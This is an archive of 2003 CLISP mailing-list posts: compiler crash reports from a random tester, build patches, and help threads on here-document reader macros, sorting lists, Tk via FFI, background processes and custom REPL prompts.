<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION ERROR> 0
<11> #<COMPILED-CLOSURE SYSTEM::CHECK-VALUE>
<12> #<SYSTEM-FUNCTION SYMBOL-VALUE>
<13> #<COMPILED-CLOSURE SYSTEM::NOTE-REFERENCES>
<14> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-SHORT>
<15> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-ALL>
<16> #<COMPILED-CLOSURE SYSTEM::COMPILE-TO-LAP>
<17> #<COMPILED-CLOSURE SYSTEM::PASS2>
<18> #<COMPILED-CLOSURE SYSTEM::PASS2>
<19> #<COMPILED-CLOSURE SYSTEM::COMPILE-LAMBDABODY>
<20> #<COMPILED-CLOSURE COMPILE>
Printed 20 frames
1. Break CL-TEST[52]>


Oddly enough, this call to COMPILE succeeds if (IN-PACKAGE "CL-USER")
has been executed.

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Date: Fri Oct 31 03:52:02 2003
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Hello,

i was wondering if there is a portable implementation of 
here-strings/here-documents for lisp like perl's:
print $OUT <<EOS;

I was looking on google but did not find any hints in that direction.

Thanks a lot!
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Date: Fri Oct 31 04:15:13 2003
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I wrote:

( a test case )

The reason is was only working in the CL-TEST package was because I had
shadowed HANDLER-CASE and HANDLER-BIND.

Here's another randomly generated example showing the same bug, without
the package problems:

(funcall
    (compile nil
     '(lambda (a c)
        (flet ((%f10 (f10-1 f10-2) 10))
	 (flet ((%f4
		 (&optional
		  (f4-1 (ldb (byte 10 6)
			     (* 828
				(+ 30 (dpb c (byte 9 30) (%f10 1918433 34107)))
				)))
		  (f4-2 (setq a 0)))
		 2))
	   (%f4 -5)))))
    0 0)
[...]
*** - SYMBOL-VALUE: 1 is not a SYMBOL

The bug apparently requires two optional parameters to be present.

	Paul




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Date: Fri Oct 31 04:34:37 2003
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Christian Schuhegger writes:
> Hello,
> 
> i was wondering if there is a portable implementation of 
> here-strings/here-documents for lisp like perl's:
> print $OUT <<EOS;
> 
> I was looking on google but did not find any hints in that direction.
> 
> Thanks a lot!

You can implement this with a reader macro; read Chapter 2 Syntax and
Chapter 23 Reader of CLHS
http://www.lisp.org/HyperSpec/FrontMatter/Chapter-Index.html


(set-dispatch-macro-character
 (character "#") (character "\"")
 (lambda (stream subchar infix-param)
   (declare (ignore subchar infix-param))
   (do ((eoln (format nil "~%"))
        (eof-token (string-trim " " (read-line stream nil nil t)))
                                        ; eof-token is what's after #"
        (line      (read-line stream nil nil t)
                   (read-line stream nil nil t))
        (lines '()))
       ((or (null line)
            (string-equal eof-token (string-trim " " line)))
        (apply (function concatenate) 'string (nreverse lines)))
     (push line lines)
     (push eoln lines)) ))


[12]> #"EOF
First line " foo "
second line \bar\
EOF
"First line \" foo \"
second line \\bar\\
"

Beware,  there's a  problem if  you type  this in  ilisp in  emacs: it
handles the double-quote character without taking into account the new
macro, thus  you need to  add a double-quote  after the EOF (a  bug in
ilisp). But reading from files or from the terminal it's OK.


HOWEVER, I assume that what  you want is avoid escaping anti-slash and
double-quote, and that's all that  this macro would buy you, since you
can as well write normal  strings over several lines, and with FORMAT,
you have fine control on what to do about new-lines and prefix spaces:

[5]> "first line
second line
"
"first line
second line
"

[6]> (format nil "first line ~
           second line~
           ")
"first line second line"
[7]> (format nil "first line ~:
           second line~
           ")
"first line            second line"
[8]> (format nil "first line ~@
           second line~
           ")
"first line 
second line"




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I unsuccessfully tried posting this to gmane.lisp.clisp.devel.

The  dump_image() function is always being called.
A patch follows.

Note that the dump_image() function only displays little-endian
bitmaps correctly, such as those created with XLIB:READ-BITMAP-FILE.
It can probably be removed now that the problem being testing is
fixed.


Index: clx.f
===================================================================
RCS file: /cvsroot/clisp/clisp/modules/clx/new-clx/clx.f,v
retrieving revision 2.9
diff -c -r2.9 clx.f
*** clx.f	7 Oct 2003 17:48:47 -0000	2.9
--- clx.f	26 Oct 2003 20:36:47 -0000
***************
*** 4130,4136 ****
    fehler (error, "Sorry, my implementation of XLIB:PUT-IMAGE is still not complete.");
  }
  
! #if defined(DEBUG_CLX)
  /* from Barry Fishman <barry_fishman@att.net>
     http://article.gmane.org/gmane.lisp.clisp.general/7587  */
  void dump_image (XImage *image)
--- 4130,4136 ----
    fehler (error, "Sorry, my implementation of XLIB:PUT-IMAGE is still not complete.");
  }
  
! #if DEBUG_CLX
  /* from Barry Fishman <barry_fishman@att.net>
     http://article.gmane.org/gmane.lisp.clisp.general/7587  */
  void dump_image (XImage *image)




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Pascal J.Bourguignon wrote:
> (set-dispatch-macro-character
>  (character "#") (character "\"")
>  (lambda (stream subchar infix-param)
>    (declare (ignore subchar infix-param))
>    (do ((eoln (format nil "~%"))
>         (eof-token (string-trim " " (read-line stream nil nil t)))
>                                         ; eof-token is what's after #"
>         (line      (read-line stream nil nil t)
>                    (read-line stream nil nil t))
>         (lines '()))
>        ((or (null line)
>             (string-equal eof-token (string-trim " " line)))
>         (apply (function concatenate) 'string (nreverse lines)))
>      (push line lines)
>      (push eoln lines)) ))
 > ...
> HOWEVER, I assume that what  you want is avoid escaping anti-slash and
> double-quote, and that's all that  this macro would buy you, since you
> can as well write normal  strings over several lines, and with FORMAT,
> you have fine control on what to do about new-lines and prefix spaces:

Thanks a lot! This is what I want to do. It is useful for me when I want 
to print long runs of HTML text without escaping all the quotes.

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> * Christian Schuhegger <Puevfgvna.Fpuhurttre@tzk.qr> [2003-10-31 15:18:37 +0100]:
>
> Thanks a lot! This is what I want to do. It is useful for me when I
> want to print long runs of HTML text without escaping all the quotes.

You can use single quotes instead and avoid escaping.
E.g., <a href='http://clisp.cons.org'>CLISP</a>

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> * Barry Fishman <oneel_svfuzna@ngg.arg> [2003-10-31 08:44:24 -0500]:
>
> I unsuccessfully tried posting this to gmane.lisp.clisp.devel.

are you subscribed?

> The  dump_image() function is always being called.
> A patch follows.

thanks!

> Note that the dump_image() function only displays little-endian
> bitmaps correctly, such as those created with XLIB:READ-BITMAP-FILE.

can you make it work with big-endian bitmaps too?
(not that I know whether this question makes any sense at all :-)

> It can probably be removed now that the problem being testing is
> fixed.

something tells me that this is not the last problem... :-(

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Hi, I am trying to sort a list containing sublists ((50 3500) (25 2570) (40
2800)) based on the first value of each sublist.

A normal sort-list function is sth like this...

(defun sort-list (list &optional (pred '<))
    (cond ((null) list) nil )
        ((atom (first list)) (sort list pred))
            (t (cons (sort-list (first list) pred) (sort-list (rest list)
pred)))))

Being almost completely illiterate in Lisp, I am guessing that I just need
to plugin in sth in the order of "(nth 0 sublist)" somewhere in this
function.

Any help on this would be greatly appreciated.

Sincerely,
David B Franzson
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This can be handled using the :key keyword arg to sort,
like so:

  (sort '((50 3500) (25 2570) (40 2800))
        #'<
        :key #'first)

-russ

"David Brynjar Franzson" <franzson@stanford.edu> writes:

> Hi, I am trying to sort a list containing sublists ((50 3500) (25 2570) (40
> 2800)) based on the first value of each sublist.
>
> A normal sort-list function is sth like this...
>
> (defun sort-list (list &optional (pred '<))
>     (cond ((null) list) nil )
>         ((atom (first list)) (sort list pred))
>             (t (cons (sort-list (first list) pred) (sort-list (rest list)
> pred)))))
>
> Being almost completely illiterate in Lisp, I am guessing that I just need
> to plugin in sth in the order of "(nth 0 sublist)" somewhere in this
> function.
>
> Any help on this would be greatly appreciated.
>
> Sincerely,
> David B Franzson
> franzson@hotmail.com
>
>
>
>
>
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Date: Sun Nov  2 14:48:05 2003
X-Original-Date: Sun, 2 Nov 2003 23:46:46 +0100

General lisp questions may be posed on news:comp.lang.lisp too.


David Brynjar Franzson writes:
> Hi, I am trying to sort a list containing sublists ((50 3500) (25 2570) (40
> 2800)) based on the first value of each sublist.

      (sort list (lambda (a b) (<= (first a) (first b))))


[75]> (setq list '((50 3500) (25 2570) (40 2800)))
((50 3500) (25 2570) (40 2800))
[76]> (sort list (lambda (a b) (<= (first a) (first b))))
((25 2570) (40 2800) (50 3500))
[77]> 



> A normal sort-list function is sth like this...
> 
> (defun sort-list (list &optional (pred '<))
>     (cond ((null) list) nil )
>         ((atom (first list)) (sort list pred))
>             (t (cons (sort-list (first list) pred) (sort-list (rest list)
> pred)))))

Did I miss  something?  Is it required to sort  the sublists?  What is
it you want exactly?


> Being almost completely illiterate in Lisp, I am guessing that I just need
> to plugin in sth in the order of "(nth 0 sublist)" somewhere in this
> function.

(nth 0 sublist)  is effectly the first element of  the sublist, but if
you want the first element of the sublist why not say (first sublist)?

 
> Any help on this would be greatly appreciated.


-- 
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(sort (copy-list list) pred :key #'(lambda (entry) (if (consp entry) 
(first entry) entry)))

whereby the copy is necessary iff you wish to continue to use the 
original

On Sunday, Nov 2, 2003, at 22:57 Europe/Berlin, David Brynjar Franzson 
wrote:

> Hi, I am trying to sort a list containing sublists ((50 3500) (25 
> 2570) (40
> 2800)) based on the first value of each sublist.
>
> A normal sort-list function is sth like this...
>
> (defun sort-list (list &optional (pred '<))
>     (cond ((null) list) nil )
>         ((atom (first list)) (sort list pred))
>             (t (cons (sort-list (first list) pred) (sort-list (rest 
> list)
> pred)))))
>
> Being almost completely illiterate in Lisp, I am guessing that I just 
> need
> to plugin in sth in the order of "(nth 0 sublist)" somewhere in this
> function.
>
> Any help on this would be greatly appreciated.
>
> Sincerely,
> David B Franzson
> franzson@hotmail.com
>
...



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> * Bruno Haible <oehab@pyvfc.bet> [2003-11-03 17:45:47 +0100]:
>
>> but then "make" failed in the same way. Namely, in
>> subdir avcall, "make check" fails.
>
> Sam, can you tell why "make" recurses into the avcall directory when
> makemake was invoked without --with-dynamic-ffi?

no idea.  Minko should look at his build/Makefile for clues.
specifically, the Makefile: target should ensure that
--with-dynamic-ffi was indeed omitted.
the presence of targets like avcall* and callback* will tell us whether
--with-dynamic-ffi was obeyed.

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Running the random tester on 100,000 terms of size 1000, I got the following
message during test case pruning:

*** - internal error: statement in file "hashtabl.d", line 965 has been reached!!
Please send the authors of the program a description how you produced this error!
1. Break CL-TEST[109]>

Unfortunately I can't give a way to reach this point again.

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Hello Sam,

--- Sam Steingold <sds@gnu.org> wrote:
> > * Bruno Haible <oehab@pyvfc.bet> [2003-11-03 17:45:47 +0100]:
> >
> >> but then "make" failed in the same way. Namely, in
> >> subdir avcall, "make check" fails.
> >
> > Sam, can you tell why "make" recurses into the avcall directory
> when
> > makemake was invoked without --with-dynamic-ffi?
> 
> no idea.  Minko should look at his build/Makefile for clues.
> specifically, the Makefile: target should ensure that
> --with-dynamic-ffi was indeed omitted.

I am not sure what you mean here. If you like, I can email
you the build/Makefile. It is output by

./makemake --with-readme --with-gettext --with-dynamic-ffi
--with-module=regexp > Makefile

Why do you think that --with-dynamic-ffi  was omitted?

BTW, the patch that Bruno offered solved the compilation
problem. An error in make testsuite showed up, but that
is different.

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> * Minko Markov <zvaxbznexbi1968@lnubb.pbz> [2003-11-04 06:09:14 -0800]:
>
> --- Sam Steingold <sds@gnu.org> wrote:
>> > * Bruno Haible <oehab@pyvfc.bet> [2003-11-03 17:45:47 +0100]:
>> >
>> > Sam, can you tell why "make" recurses into the avcall directory
>> > when makemake was invoked without --with-dynamic-ffi?

we are different from autoconf-generated configure scripts: if you pass
--without-foo or --with-foo=no to a configure script, $with_foo is set
to "no", but if you pass it to makemake, it is set to 0 but the checks
test for an empty string. I fixed makemake.in to set it to an empty
string. patch appended.
to make clisp conform to autoconf, one has to change makemake.in and
clisp-link.in.

> BTW, the patch that Bruno offered solved the compilation problem.

good - I hope Bruno will check it in.

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Index: makemake.in
===================================================================
RCS file: /cvsroot/clisp/clisp/src/makemake.in,v
retrieving revision 1.376
retrieving revision 1.377
diff -u -w -b -u -b -w -i -B -r1.376 -r1.377
--- makemake.in	27 Oct 2003 12:44:48 -0000	1.376
+++ makemake.in	4 Nov 2003 14:03:43 -0000	1.377
@@ -193,12 +193,17 @@
       shift
       ;;
     -without-* | --without-* | -with-no* | --with-no*)
+    ## we are different from autoconf-generated configure scripts:
+    ## if you pass --without-foo or --with-foo=no to a configure script,
+    ## $with_foo is set to "no", but if you pass it to makemake,
+    ## it is set to an empty string.  to fix this, one has to change
+    ## this file and clisp-link.in -- sds 2003-11-04
       package=`echol "$1"|sed 's/-*with\(out-\|-no-*\)//'`
       # Delete all the valid chars; see if any are left.
       if test -n "`echol $package|sed 's/[-a-zA-Z0-9_]*//g'`"; then
         echol "makemake: $package: invalid package name" >&2; exit 1
       fi
-      my_eval "with_`echol $package|sed s/-/_/g`=0"
+      my_eval "with_`echol $package|sed s/-/_/g`="
       shift
       ;;
     -with-* | --with-*)
@@ -206,9 +211,9 @@
       packopt=`echol "${package}" | sed -e 's/^.*=\(.*\)$/\1/'`
       if test -z "${packopt}"; then packopt=1;
       elif [ "${packopt}" = "on" ];  then packopt=1;
-      elif [ "${packopt}" = "off" ]; then packopt=0;
+      elif [ "${packopt}" = "off" ]; then packopt=;
       elif [ "${packopt}" = "yes" ]; then packopt=1;
-      elif [ "${packopt}" = "no" ];  then packopt=0;
+      elif [ "${packopt}" = "no" ];  then packopt=;
       fi
       package=`echol "${package}" | sed -e 's/=.*//'`
       # Delete all the valid chars; see if any are left.



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The gcl random tester came up with the following example.  It segfaulted
during pruning, so I pruned it manually as far as I could.  It's still
very large, and segfaults when called on the indicated arguments.  There's
a lot of apparent fluff in the code whose removal causes the segfault
to disappear.

This was run in CLISP built 3 Nov 2003 (around 4AM CST) from cvs head.



(defparameter *fn*
   '(lambda (a b c)
      (if (not
           (and
            (or (not nil)
                (logbitp 22 (unwind-protect -1)
                         ))
            (or a
                (logbitp 2 (if (ldb-test (byte 31 29)
                                         (if (= 10) -1773 a))
                               -2
                             (if (= -1) -7762 0)
                             )))
            (or
             (zerop (if b c 1))
             (and
              b c
              (typep
               (+
                (floor (setq c -100))
                (max 26 (isqrt
                         (identity
                          (identity
                           (identity
                            (abs (ash a (min 14 (- (round 11065954 (min -35 c))))
                                      ))))))))
               '(integer * 3894))
              (if (or b (= -10) b)
                  (or b a)
                (and (ldb-test (byte 19 27) (if (>= 10) b -2))
                     (typep
                      (let* ((v1 (ldb (byte 1 5) (labels ((%f12 (f12-1 f12-2) 100
                                                                )) 11))))
                        (lognor 15363 (logand (logand 0 b -10)
                                              (* (lognor a (setq a -335))))))
                      '(integer * 7))
                     ))))))
          (let ((v2 (let* ((v1 (lognor (if b -10 b)
                                       (restart-case c)
                                       )))
                      10)))
            (logxor (labels ((%f1 () b)) (%f1))
                    (if (< 0) b 0)
                    (if b 100 0)
                    (if c v2 0)
                    (if (or a (= a))
                        (unwind-protect b)
                      43)
                    (if (or b (not (and (> -3) (if (> 10) b nil))))
                        (if v2 (unwind-protect 100) 0)
                      (if b 1031483 (if a (logior a) 0)))
                    (if c -91597154 0)
                    (if c -83394844 0)
                    ))
        (logorc2 (if c 0 b)
                 (let ((v8 (if (= -101108 b) 0 b)))
                   (if (and (not (and (>= v8 0) (and b nil)))
                            (> v8 b))
                       0
                     (- c (if (< b c)
                              (if (= b c) 0 v8)
                            b))))))))

(defparameter *vals* '(-102 108841188293 -401434342))

(defun try () (apply (compile nil *fn*) *vals*))

;; (try) ==> causes seg fault

	Paul




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Hi,

every now and then i make a new attempt to get Tk working from within 
clisp. i'm not sure if my question is rather a tcl/tk-question than a 
clisp question, but maybe someone has experience with this kind of stuff.

when i execute the following code, everything works fine: a tk-window 
with a button is drawn and the 'eventtest'-procedure is executed every 
second (which tells me that the event-loop is active).
but the button is dead. there's no reaction when clicking it.
am i missing some initialization?

(use-package "FFI")

(ffi:default-foreign-language :stdc)

(def-c-type tcl-interp c-pointer)

(def-call-out c-tcl-find-executable (:library "tcl84.dll")
  (:name "Tcl_FindExecutable")
  (:arguments (argv0 c-string)))

(def-call-out c-tcl-create-interp (:library "tcl84.dll")
 (:name "Tcl_CreateInterp")
 (:return-type tcl-interp))

(def-call-out c-tcl-eval (:library "tcl84.dll")
 (:name "Tcl_Eval")
 (:arguments (interp tcl-interp) (script c-string))
 (:return-type int))

(def-call-out c-tcl-exit (:library "tcl84.dll")
  (:name "Tcl_Exit")
  (:arguments (interp tcl-interp))
  (:return-type int))

(def-call-out c-tcl-init (:library "tcl84.dll")
  (:name "Tcl_Init")
  (:arguments (interp tcl-interp))
  (:return-type int))

(def-call-out c-tk-init (:library "tk84.dll")
  (:name "Tk_Init")
  (:arguments (interp tcl-interp))
  (:return-type int))

(def-call-out c-tk-mainloop (:library "tk84.dll")
  (:name "Tk_MainLoop")
  (:return-type nil))

(def-call-out c-tcl-get-obj-result (:library "tcl84.dll")
  (:name "Tcl_GetObjResult")
  (:arguments (interp tcl-interp))
  (:return-type c-pointer))

(def-call-out c-tcl-get-string-from-obj (:library "tcl84.dll")
  (:name "Tcl_GetStringFromObj")
  (:arguments (tcl-obj c-pointer) (length (c-ptr int)))
  (:return-type c-string))

(defparameter *tcl-interp* nil)

(defun tcl-create-interp ()
  (setq *tcl-interp* (c-tcl-create-interp))
  (if (not *tcl-interp*)
      (error "couldn't create interpreter.")))

(defun tcl-eval-script (string)
  (format t "> ~a~%" string)
  (c-tcl-eval *tcl-interp* string)
  (format t "~a~%" (tcl-result)))

(defun tcl-result ()
  (let ((obj (c-tcl-get-obj-result *tcl-interp*)))
    (if (null obj)
    ""
    (c-tcl-get-string-from-obj obj 0))))

(c-tcl-find-executable "")
(tcl-create-interp)
(c-tcl-init *tcl-interp*)
(c-tk-init *tcl-interp*)
(tcl-eval-script "package require Tk")
(tcl-eval-script "wm title . \"Hello World Window\"")
(tcl-eval-script "button .b -text HelloWorld -command \"puts hello\"")
(tcl-eval-script "pack .b")
(tcl-eval-script "proc eventtest {} {puts \"hello\"; after 1000 eventtest}")
(tcl-eval-script "after 1000 eventtest")
(c-tk-mainloop)




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Hello,

Could you please tell me if the clisp-2.31-win32.zip will work on a Windows
98 system.

Thank you for your help,

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> * Jacob Bar-Tal <wonegny@pnebyvan.ee.pbz> [2003-11-09 19:09:57 -0500]:
>
> Could you please tell me if the clisp-2.31-win32.zip will work on a
> Windows 98 system.

it should.
It was built on a w2k, so the full image will not work.
But the base should.

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Sam wrote:
> > 2. test_number_syntax expects an attributecode buffer as second
> > argument which it would be stupid to allocate in PARSE-INTEGER.
>
> what's wrong with stack allocation?

1. Stack allocation of Lisp objects doesn't work in some configurations
   (see lispbibl.d:DYNAMIC_8BIT_VECTOR for details),

2. (PARSE-INTEGER "42 then a million of other characters .... "
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Hi,

I am trying to build CLISP 2.31 on Fedora Core 1 and encountered the
following issues:

1. In contrast to RH9, in FC1 it is no longer possible to execute a
malloced memory without mprotect first.
2. The included configure script is broken. Many variables, like the CL_
ones have not been substituted. I re-autoconfed using an aclocal.m4 file
build from the macros in src/m4.
3. In configure.in there have to be macro calls to
  - CL_MALLOC
  - CL_SHMAT
  - CL_SHMGET
  These have been missing.
4. Now configure script proceeds, and I can now build using make
  However later
  ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW
-x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
 results in a segmentation fault:
;; Loading file defseq.lisp ...
;; Loaded file defseq.lisp
;; Loading file backquote.lisp ...
;; Loaded file backquote.lisp
;; Loading file defmacro.lisp ...make: *** [interpreted.mem]
Segmentation fault

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Hi,

I'm not sure if it's a bug in clisp (2.31 2003-09-01), or just me who
misunderstood the documentation:

i thought that ext:run-shell-command / ext:run-program, provided with
the :wait nil keyword would cause an application to be executed in the
background.


(ext:run-program "bla" :wait nil)
hangs until the program "bla" terminates (which unfortunately never
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is there a way to launch a program in the background via clisp (winXP)?

thanks,
Basim



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> * Basim Al-Shaikhli <onpvyb@tzk.arg> [2003-11-13 14:44:51 +0100]:
>
> is there a way to launch a program in the background via clisp (winXP)?

try experimental EXT::LAUNCH.
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Sam Steingold wrote:
>>* Basim Al-Shaikhli <onpvyb@tzk.arg> [2003-11-13 14:44:51 +0100]:
>>
>>is there a way to launch a program in the background via clisp (winXP)?
> 
> 
> try experimental EXT::LAUNCH.
> All questions to Arseny.

thanks, i'll try it in the evening...
but, coming back to my initial question, what is :wait nil for, if not 
for backgrounding a program?



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> * Basim Al-Shaikhli <onpvyb@tzk.arg> [2003-11-13 15:34:26 +0100]:
>
> what is :wait nil for, if not for backgrounding a program?

it does not work on win32.
when Arseny's EXT::LAUNCH is ready (i.e., does everything what the
current quartet or SHELL/MAKE-[INPUT|OUTPUT|IO]-PIPE do, only better),
it will become the underlying OS interface and :WAIT will work on win32
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    Hi,

    Has someone a recent version on CLISP compiled for DEC OSF? The
latest version I have is dated from 2000 or 2001 and doesn't seem to
have socket support...

    Thanks!

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Hi.

I'm newbie and `dirs' function (below) is my first piece of lisp code (i try
clisp only for now).

please help.


~$ clisp --version

==> GNU CLISP 2.31 (released 2003-09-01) (built on midas.slackware.lan [127.0.0.1])
==> Features: 
==> (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
==> Installation directory: /usr/lib/clisp/
==> User language: ENGLISH


question: can I send (to this mailinglist) stupid problems like this?

--------begin.
[65]> (defun dirs (x &key depth)
  (let ((c '()))
    (flet ((wildir (d) (directory (concatenate 'string  (directory-namestring d) "*/"))))
      (if (null depth)
	  (labels ((f (d) (mapcar #'f (wildir d)) (push d c))) (cdr (f x)))
	(labels ((f (d i)
		    (cond ((<= i depth)
			   (mapcar #'(lambda (o) (f o (1+ i))) (wildir d))
			   (push d c)))))
	  (cdr (f x 0)))))))
DIRS


[66]> (length (dirs #P"/7/etc/" :depth 1))
40


[67]> (length (dirs #P"/7/" :depth 1))
*** - invalid byte #xB3 in CHARSET:ASCII conversion   <=== !problem <======


1. Break [68]> :q

[69]> (dir "/7/*/")
/7/A/
/7/A3/
/7/ART/
/7/ARTGEN/
/7/ARTYKUL.2/
/7/ARTYKUL.3/
/7/CLIKI/
/7/anime/
/7/bckup.5/
/7/bg/
/7/documentation/
/7/emacs-21.3/
/7/etc/
/7/flena/
/7/gg-history/
/7/libIDL-0.8.2/
/7/mail/
/7/mod/
/7/mozilla-bookmarks/
/7/musick/
/7/ninja/
/7/osiolek/
/7/rfan/
/7/sources/
/7/techno/
/7/temp/
/7/torrents/
/7/xforms-1.0/

[70]> #'dirs
#<CLOSURE DIRS (X &KEY DEPTH) (DECLARE (SYSTEM::IN-DEFUN DIRS))
  (BLOCK DIRS
   (LET ((C 'NIL))
    (FLET ((WILDIR (D) (DIRECTORY (CONCATENATE 'STRING (DIRECTORY-NAMESTRING D) "*/"))))
     (IF (NULL DEPTH) (LABELS ((F (D) (MAPCAR #'F (WILDIR D)) (PUSH D C))) (CDR (F X)))
      (LABELS ((F (D I) (COND ((<= I DEPTH) (MAPCAR #'(LAMBDA (O) (F O (1+ I))) (WILDIR D)) (PUSH D C))))) (CDR (F X 0)))))))>

--------end.



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Hello all,

I'm new to Lisp, so please be gentle.

Could someone please help me out with changing clisp's command line
prompts?

I can't seem to redefine the system::prompt-string functions. I can do it
by setting the *prompt* variable, but this has the undesired
effect of always placing a '>' (system::prompt-string3) after my prompt.

Can I get complete control over the prompt? I'd like to embed some
character coding into it (to establish a connection with TeXmacs).

I'd like to construct the following prompt (\002 is ASCII 2, etc)

\002channel:prompt\005*PROMPT*\005

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Date: Thu Nov 27 10:29:03 2003
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Michael Graffam writes:
> 
> Hello all,
> 
> I'm new to Lisp, so please be gentle.
> 
> Could someone please help me out with changing clisp's command line
> prompts?
> 
> I can't seem to redefine the system::prompt-string functions. I can do it
> by setting the *prompt* variable, but this has the undesired
> effect of always placing a '>' (system::prompt-string3) after my prompt.
> 
> Can I get complete control over the prompt? I'd like to embed some
> character coding into it (to establish a connection with TeXmacs).
> 
> I'd like to construct the following prompt (\002 is ASCII 2, etc)
> 
> \002channel:prompt\005*PROMPT*\005
> 
> *PROMPT* would be the displayed text of the prompt -- the usual clisp
> strings would be fine. I just don't want anything after the final \005

In my copy of CLisp implementation notes, it's written:

    The variable CUSTOM:*PROMPT* controls the appearance of the
    prompt. When its value is a function, it is called and its value
    is printed with PRINC. Otherwise, the value itself is printed with
    PRINC. The default value of CUSTOM:*PROMPT* prints "package[n]> "
    where package is the shortest (nick)name of the current package
    *PACKAGE* if it is the same as it was in the beginning or if it
    does not contain symbol T (it is assumed that in the latter case
    you would want to keep in mind that your current package is
    something weird); and n is the ordinal number of the current
    prompt (hopefully, it will remain finite). To help you in
    constructing your own fancy prompts, two functions and one
    variable are provided:

    function EXT:PROMPT-NEW-PACKAGE

        returns *PACKAGE* or NIL if the current package is the same as
        it was initially

    function EXT:PACKAGE-SHORT-NAME

        takes one argument, a package, and returns its shortest name
        or nickname

    variable EXT:*COMMAND-INDEX*

        contains the current prompt number; it is your responsibility
        to increment it (this variable is bound to 0 before saving the
        memory image).

There is no mention of SYSTEM::PROMPT-STRING

In any case,  the '::' should have alterted you  on the PRIVATE nature
of  SYSTEM::PROMPT-STRING, that  is  of the  informal INTERDICTION  of
accessing and modifying it.

Personnaly, I've got no problem in changing the value of CUSTOM:*PROMPT*

[29]> (let ((my-counter 0)) 
        (defun my-prompt () (format nil "~D ---> " (incf my-counter))))
MY-PROMPT
[30]> (setf custom:*prompt* (function my-prompt))
#<CLOSURE MY-PROMPT NIL (DECLARE (SYSTEM::IN-DEFUN MY-PROMPT))
  (BLOCK MY-PROMPT (FORMAT NIL "~D ---> " (INCF MY-COUNTER)))>
1 ---> > 


For   the  "  >"   returned  by   SYSTEM::PROMPT-STRING3,  I   see  no
documentation about  how to  prevent it, but  you can  always redefine
this function:


5 ---> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM")
         (defun SYSTEM::PROMPT-STRING3 () ""))
SYSTEM::PROMPT-STRING3
6 ---> "Hello World!"
"Hello World!"
7 ---> 


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On Thu, 27 Nov 2003, Pascal J.Bourguignon wrote:

> 5 ---> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM")
>          (defun SYSTEM::PROMPT-STRING3 () ""))

Thank you! That was the key to my problem.

Would you happen to know how to suppress the warnings generated by that
code? I redefine the prompt in an initialization file, and I'd like to
suppress the warnings during startup.

This is great, though. Thanks again for your help.

I now have CLisp running as a plugin to GNU TeXmacs (www.texmacs.org).
This will likely be in the next development release of TeXmacs in a few
days. Next up is to get some Lisp code written that generates TeXmacs
markup (I'm looking forward to viewing Lisp programs graphically in
TeXmacs!)

Of course, TeXmacs can render LaTeX too, so existing Lisp code will prove
useful.



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Michael Graffam writes:
> 
> 
> On Thu, 27 Nov 2003, Pascal J.Bourguignon wrote:
> 
> > 5 ---> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM")
> >          (defun SYSTEM::PROMPT-STRING3 () ""))
> 
> Thank you! That was the key to my problem.
> 
> Would you happen to know how to suppress the warnings generated by that
> code? I redefine the prompt in an initialization file, and I'd like to
> suppress the warnings during startup.

What do  you mean? The  point of EXT:WITHOUT-PACKAGE-LOCK is  to avoid
any warning about redefining a function in a locked package.  

[8]> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") (defun SYSTEM::PROMPT-STRING3 () ""))
SYSTEM::PROMPT-STRING3
[9]

What warning do you get?


> This is great, though. Thanks again for your help.
> 
> I now have CLisp running as a plugin to GNU TeXmacs (www.texmacs.org).
> This will likely be in the next development release of TeXmacs in a few
> days. Next up is to get some Lisp code written that generates TeXmacs
> markup (I'm looking forward to viewing Lisp programs graphically in
> TeXmacs!)
> 
> Of course, TeXmacs can render LaTeX too, so existing Lisp code will prove
> useful.

That's  nice to see  more applications  using common-lisp  (instead of
scheme/guile) as an extension language!

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On Thu, 27 Nov 2003, Pascal J.Bourguignon wrote:

> What do  you mean? The  point of EXT:WITHOUT-PACKAGE-LOCK is  to avoid
> any warning about redefining a function in a locked package.
>
> [8]> (EXT:WITHOUT-PACKAGE-LOCK ("SYSTEM") (defun SYSTEM::PROMPT-STRING3 () ""))
> SYSTEM::PROMPT-STRING3
> [9]
>
> What warning do you get?

WARNING:
DEFUN/DEFMACRO: redefining function SYSTEM::PROMPT-STRING1 in
/usr/share/TeXmacs/plugins/clisp/lisp/texmacsrc.lisp, was defined in
/var/tmp/bach-build/BUILD/clisp-2.31/src/reploop.fas
WARNING:
DEFUN/DEFMACRO: redefining function SYSTEM::PROMPT-STRING2 in
/usr/share/TeXmacs/plugins/clisp/lisp/texmacsrc.lisp, was defined in
/var/tmp/bach-build/BUILD/clisp-2.31/src/reploop.fas
WARNING:
DEFUN/DEFMACRO: redefining function SYSTEM::PROMPT-STRING3 in
/usr/share/TeXmacs/plugins/clisp/lisp/texmacsrc.lisp, was defined in
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This is question might be a bit too general, but I really don't know where
else to ask.

Is there an online resource with snippets of simple Lisp code that aims to
teach good Lisp style?

I'm an old C hand, so I tend to do stuff like this:

(defun factorial (n)
	(if (< n 2) 1
	   (* n (factorial (- n 1)))
	)
)

but this is confusing even to me :), and I understand that most everyone
finds it ugly.

I'm committed to learning Lisp and doing it well, but I don't want to
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On Sun, 2003-11-30 at 15:20, Michael Graffam wrote:
> This is question might be a bit too general, but I really don't know where
> else to ask.

The Usenet newsgroup comp.lang.lisp.

> Is there an online resource with snippets of simple Lisp code that aims to
> teach good Lisp style?

This Postscript presentation is outstanding:
<http://www.norvig.com/luv-slides.ps>

Regards,
Adam



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On Sunday, Nov 30, 2003, at 03:20 Europe/Berlin, Michael Graffam wrote:

>
> This is question might be a bit too general, but I really don't know 
> where
> else to ask.
> Is there an online resource with snippets of simple Lisp code that 
> aims to
> teach good Lisp style?


one starting point is: http://www.lisp.org . in particular 
http://www.lisp.org/table/style.htm and 
http://www.lisp.org/table/learn.htm.

on the other hand, read lisp code. when you do that and you will 
develop your own criteria.

>
> I'm an old C hand, so I tend to do stuff like this:
>
